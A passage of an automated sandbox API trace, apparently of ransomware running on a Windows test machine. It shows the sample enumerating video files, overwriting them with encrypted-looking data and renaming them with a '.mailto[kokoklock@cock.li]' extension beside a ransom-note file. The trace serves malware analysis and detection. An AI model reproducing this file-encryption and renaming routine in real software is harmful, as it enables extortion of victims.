(HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.180] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.180] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.180] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.180] WriteFile (in: hFile=0x5bc, lpBuffer=0x34be3c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xeebf71c, lpOverlapped=0x0 | out: lpBuffer=0x34be3c0*, lpNumberOfBytesWritten=0xeebf71c*=0x8, lpOverlapped=0x0) returned 1 [0065.180] WriteFile (in: hFile=0x5bc, lpBuffer=0xeebf734*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xeebf71c, lpOverlapped=0x0 | out: lpBuffer=0xeebf734*, lpNumberOfBytesWritten=0xeebf71c*=0x4, lpOverlapped=0x0) returned 1 [0065.180] WriteFile (in: hFile=0x5bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xeebf71c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xeebf71c*=0x4, lpOverlapped=0x0) returned 1 [0065.180] WriteFile (in: hFile=0x5bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xeebf71c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xeebf71c*=0x6c, lpOverlapped=0x0) returned 1 [0065.180] WriteFile (in: hFile=0x5bc, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xeebf71c, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xeebf71c*=0x20, lpOverlapped=0x0) returned 1 [0065.180] WriteFile (in: hFile=0x5bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xeebf71c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xeebf71c*=0x4, lpOverlapped=0x0) returned 1 [0065.181] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0065.181] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be488) returned 1 [0065.181] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be3c0) returned 1 [0065.181] CloseHandle (hObject=0x5bc) returned 1 [0065.182] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x88) returned 0x33e2c30 [0065.182] wcscpy (in: _Dest=0x33e2c30, _Source="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4") returned="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4" [0065.182] wcscat (in: _Dest=0x33e2c30, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4.mailto[kokoklock@cock.li].d0e731" [0065.182] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\q8uhq0c.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\q8uhq0c.mp4.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.183] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.183] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2c30) returned 1 [0065.183] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Q8Uhq0C.mp4", dwFileAttributes=0x20) returned 0 [0065.183] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3482098 [0065.183] wcscpy (in: _Dest=0x3482098, _Source="C:\\Users\\FD1HVy\\Videos\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\") returned="C:\\Users\\FD1HVy\\Videos\\" [0065.183] wcscat (in: _Dest=0x3482098, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\D0E731-Readme.txt" [0065.183] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\d0e731-readme.txt")) returned 0x20 [0065.183] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482098) returned 1 [0065.183] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480f38) returned 1 [0065.183] RtlExitUserThread (Status=0x1) Thread: id = 322 os_tid = 0x1380 [0065.184] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3481fd8 [0065.185] wcscpy (in: _Dest=0x3481fd8, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" [0065.185] wcscat (in: _Dest=0x3481fd8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" [0065.185] wcscat (in: _Dest=0x3481fd8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\*") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\*" [0065.185] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3427d20 [0065.185] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\*", lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1748c160, ftCreationTime.dwHighDateTime=0x1d4d460, ftLastAccessTime.dwLowDateTime=0xa7f639f0, ftLastAccessTime.dwHighDateTime=0x1d4cfe1, ftLastWriteTime.dwLowDateTime=0xa7f639f0, ftLastWriteTime.dwHighDateTime=0x1d4cfe1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34343a8 [0065.185] wcscmp (_String1=".", _String2=".") returned 0 [0065.185] FindNextFileW (in: hFindFile=0x34343a8, lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1748c160, ftCreationTime.dwHighDateTime=0x1d4d460, ftLastAccessTime.dwLowDateTime=0xa7f639f0, ftLastAccessTime.dwHighDateTime=0x1d4cfe1, ftLastWriteTime.dwLowDateTime=0xa7f639f0, ftLastWriteTime.dwHighDateTime=0x1d4cfe1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.185] wcscmp (_String1="..", _String2=".") returned 1 [0065.185] wcscmp (_String1="..", _String2="..") returned 0 [0065.185] FindNextFileW (in: hFindFile=0x34343a8, lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddb13490, ftCreationTime.dwHighDateTime=0x1d4c731, ftLastAccessTime.dwLowDateTime=0x6663b110, ftLastAccessTime.dwHighDateTime=0x1d4d43d, ftLastWriteTime.dwLowDateTime=0x6663b110, ftLastWriteTime.dwHighDateTime=0x1d4d43d, nFileSizeHigh=0x0, nFileSizeLow=0x25a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="7oEngj01Jjy.mp4", cAlternateFileName="7OENGJ~1.MP4")) returned 1 [0065.185] wcscmp (_String1="7oEngj01Jjy.mp4", _String2=".") returned 1 [0065.185] wcscmp (_String1="7oEngj01Jjy.mp4", _String2="..") returned 1 [0065.185] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6e) returned 0x3479cb8 [0065.185] wcscpy (in: _Dest=0x3479cb8, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" [0065.185] wcscat (in: _Dest=0x3479cb8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" [0065.185] wcscat (in: _Dest=0x3479cb8, _Source="7oEngj01Jjy.mp4" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\7oEngj01Jjy.mp4" [0066.298] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x38c [0066.299] FindNextFileW (in: hFindFile=0x34343a8, lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a798d90, ftCreationTime.dwHighDateTime=0x1d4cd43, ftLastAccessTime.dwLowDateTime=0xb272c060, ftLastAccessTime.dwHighDateTime=0x1d4d5c7, ftLastWriteTime.dwLowDateTime=0xb272c060, ftLastWriteTime.dwHighDateTime=0x1d4d5c7, nFileSizeHigh=0x0, nFileSizeLow=0xcf6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="eoET.flv", cAlternateFileName="")) returned 1 [0066.299] wcscmp (_String1="eoET.flv", _String2=".") returned 1 [0066.299] wcscmp (_String1="eoET.flv", _String2="..") returned 1 [0066.299] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x3426f98 [0066.299] wcscpy (in: _Dest=0x3426f98, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" [0066.299] wcscat (in: _Dest=0x3426f98, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" [0066.299] wcscat (in: _Dest=0x3426f98, _Source="eoET.flv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\eoET.flv" [0066.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3426f98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d4 [0066.300] FindNextFileW (in: hFindFile=0x34343a8, lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5744fc0, ftCreationTime.dwHighDateTime=0x1d4d324, ftLastAccessTime.dwLowDateTime=0x3f1669d0, ftLastAccessTime.dwHighDateTime=0x1d4d2a4, ftLastWriteTime.dwLowDateTime=0x3f1669d0, ftLastWriteTime.dwHighDateTime=0x1d4d2a4, nFileSizeHigh=0x0, nFileSizeLow=0x763, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fm9IIfcvtvHlfb_lg.mkv", cAlternateFileName="FM9IIF~1.MKV")) returned 1 [0066.300] wcscmp (_String1="Fm9IIfcvtvHlfb_lg.mkv", _String2=".") returned 1 [0066.300] wcscmp (_String1="Fm9IIfcvtvHlfb_lg.mkv", _String2="..") returned 1 [0066.300] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7a) returned 0x33cfb48 [0066.300] wcscpy (in: _Dest=0x33cfb48, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" [0066.300] wcscat (in: _Dest=0x33cfb48, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" [0066.300] wcscat (in: _Dest=0x33cfb48, _Source="Fm9IIfcvtvHlfb_lg.mkv" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\Fm9IIfcvtvHlfb_lg.mkv" [0066.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cfb48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d8 [0066.301] FindNextFileW (in: hFindFile=0x34343a8, lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89b893c0, ftCreationTime.dwHighDateTime=0x1d4d19e, ftLastAccessTime.dwLowDateTime=0xa21b5c30, ftLastAccessTime.dwHighDateTime=0x1d4c8a8, ftLastWriteTime.dwLowDateTime=0xa21b5c30, ftLastWriteTime.dwHighDateTime=0x1d4c8a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMBNCbK9FH55XhnGLg", cAlternateFileName="OMBNCB~1")) returned 1 [0066.301] wcscmp (_String1="OMBNCbK9FH55XhnGLg", _String2=".") returned 1 [0066.301] wcscmp (_String1="OMBNCbK9FH55XhnGLg", _String2="..") returned 1 [0066.301] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33ccbf0 [0066.301] wcscpy (in: _Dest=0x33ccbf0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" [0066.301] wcscat (in: _Dest=0x33ccbf0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" [0066.301] wcscat (in: _Dest=0x33ccbf0, _Source="OMBNCbK9FH55XhnGLg" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg" [0066.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33ccbf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7dc [0066.302] FindNextFileW (in: hFindFile=0x34343a8, lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f151d20, ftCreationTime.dwHighDateTime=0x1d4c9e5, ftLastAccessTime.dwLowDateTime=0xcb4a380, ftLastAccessTime.dwHighDateTime=0x1d4c854, ftLastWriteTime.dwLowDateTime=0xcb4a380, ftLastWriteTime.dwHighDateTime=0x1d4c854, nFileSizeHigh=0x0, nFileSizeLow=0x86a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS7Oo31s1Hx4j8Dj.swf", cAlternateFileName="TS7OO3~1.SWF")) returned 1 [0066.302] wcscmp (_String1="TS7Oo31s1Hx4j8Dj.swf", _String2=".") returned 1 [0066.302] wcscmp (_String1="TS7Oo31s1Hx4j8Dj.swf", _String2="..") returned 1 [0066.302] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33cccf0 [0066.302] wcscpy (in: _Dest=0x33cccf0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A" [0066.302] wcscat (in: _Dest=0x33cccf0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\" [0066.302] wcscat (in: _Dest=0x33cccf0, _Source="TS7Oo31s1Hx4j8Dj.swf" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\TS7Oo31s1Hx4j8Dj.swf" [0066.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cccf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e0 [0066.303] FindNextFileW (in: hFindFile=0x34343a8, lpFindFileData=0x3427d20 | out: lpFindFileData=0x3427d20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f151d20, ftCreationTime.dwHighDateTime=0x1d4c9e5, ftLastAccessTime.dwLowDateTime=0xcb4a380, ftLastAccessTime.dwHighDateTime=0x1d4c854, ftLastWriteTime.dwLowDateTime=0xcb4a380, ftLastWriteTime.dwHighDateTime=0x1d4c854, nFileSizeHigh=0x0, nFileSizeLow=0x86a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS7Oo31s1Hx4j8Dj.swf", cAlternateFileName="TS7OO3~1.SWF")) returned 0 [0066.303] FindClose (in: hFindFile=0x34343a8 | out: hFindFile=0x34343a8) returned 1 [0066.303] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427d20) returned 1 [0066.303] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481fd8) returned 1 [0066.303] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430860) returned 1 [0066.303] RtlExitUserThread (Status=0x0) Thread: id = 323 os_tid = 0x1384 [0065.186] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv" (normalized: "c:\\users\\fd1hvy\\videos\\xvhh3h nmxl7bxcbvc.flv")) returned 0x20 [0065.186] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv", dwFileAttributes=0x20) returned 1 [0065.186] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\XVHh3H nmxl7BXcBVc.flv" (normalized: "c:\\users\\fd1hvy\\videos\\xvhh3h nmxl7bxcbvc.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c4 [0065.186] GetFileSizeEx (in: hFile=0x7c4, lpFileSize=0xefbfa0c | out: lpFileSize=0xefbfa0c*=101617) returned 1 [0065.186] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x18ced, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.186] ReadFile (in: hFile=0x7c4, lpBuffer=0xefbf9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xefbf9dc, lpOverlapped=0x0 | out: lpBuffer=0xefbf9e0*, lpNumberOfBytesRead=0xefbf9dc*=0x4, lpOverlapped=0x0) returned 1 [0065.186] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.186] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.186] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0065.186] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be690 [0065.186] NtQuerySystemTime (in: CurrentTime=0xefbf9b8 | out: CurrentTime=0xefbf9b8*=132121176230809635) returned 0x0 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0x5763b877 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0x19510b55 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0xa2c9a32f [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0x378e1e23 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0xd33f713b [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0x38dbb668 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0x67512518 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0x1da836e3 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0xc11e1205 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0xb6b79fc2 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0x57c9e9b9 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0xa7fb725d [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0x1c066164 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0x6a73eac7 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0xe0358f2f [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0x5f11ade8 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0xe57a6941 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0xe76476b7 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0x6712a642 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0x4c8bbfa7 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0x32fddc2c [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0xb45961d6 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0x6dfb579c [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0x4713522e [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0x23ed7713 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0xde4db205 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0xa94a7d34 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0x76780d34 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0x77815875 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0x7ad650b0 [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0xbaefa9fc [0065.187] RtlRandom (in: Seed=0xefbf9c4 | out: Seed=0xefbf9c4) returned 0x6435f742 [0065.200] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.200] ReadFile (in: hFile=0x7c4, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xefbf990, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xefbf990*=0x4096, lpOverlapped=0x0) returned 1 [0065.200] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0065.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0065.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be500 [0065.200] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be500) returned 1 [0065.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0065.201] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be6e0 [0065.201] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.201] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0065.201] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.201] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.201] WriteFile (in: hFile=0x7c4, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xefbf990, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xefbf990*=0x4096, lpOverlapped=0x0) returned 1 [0065.201] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.201] SetFilePointerEx (in: hFile=0x7c4, liDistanceToMove=0x18cf1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.201] WriteFile (in: hFile=0x7c4, lpBuffer=0x34be6e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xefbf9c8, lpOverlapped=0x0 | out: lpBuffer=0x34be6e0*, lpNumberOfBytesWritten=0xefbf9c8*=0x20, lpOverlapped=0x0) returned 1 [0065.201] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be6e0) returned 1 [0065.201] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.201] WriteFile (in: hFile=0x7c4, lpBuffer=0x34be3c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xefbf9dc, lpOverlapped=0x0 | out: lpBuffer=0x34be3c0*, lpNumberOfBytesWritten=0xefbf9dc*=0x8, lpOverlapped=0x0) returned 1 [0065.201] WriteFile (in: hFile=0x7c4, lpBuffer=0xefbf9f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xefbf9dc, lpOverlapped=0x0 | out: lpBuffer=0xefbf9f4*, lpNumberOfBytesWritten=0xefbf9dc*=0x4, lpOverlapped=0x0) returned 1 [0065.201] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xefbf9dc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xefbf9dc*=0x4, lpOverlapped=0x0) returned 1 [0065.201] WriteFile (in: hFile=0x7c4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xefbf9dc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xefbf9dc*=0x6c, lpOverlapped=0x0) returned 1 [0065.202] WriteFile (in: hFile=0x7c4, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xefbf9dc, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xefbf9dc*=0x20, lpOverlapped=0x0) returned 1 [0065.202] WriteFile (in: hFile=0x7c4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xefbf9dc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xefbf9dc*=0x4, lpOverlapped=0x0) returned 1 [0065.202] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0065.202] RtlFreeHeap 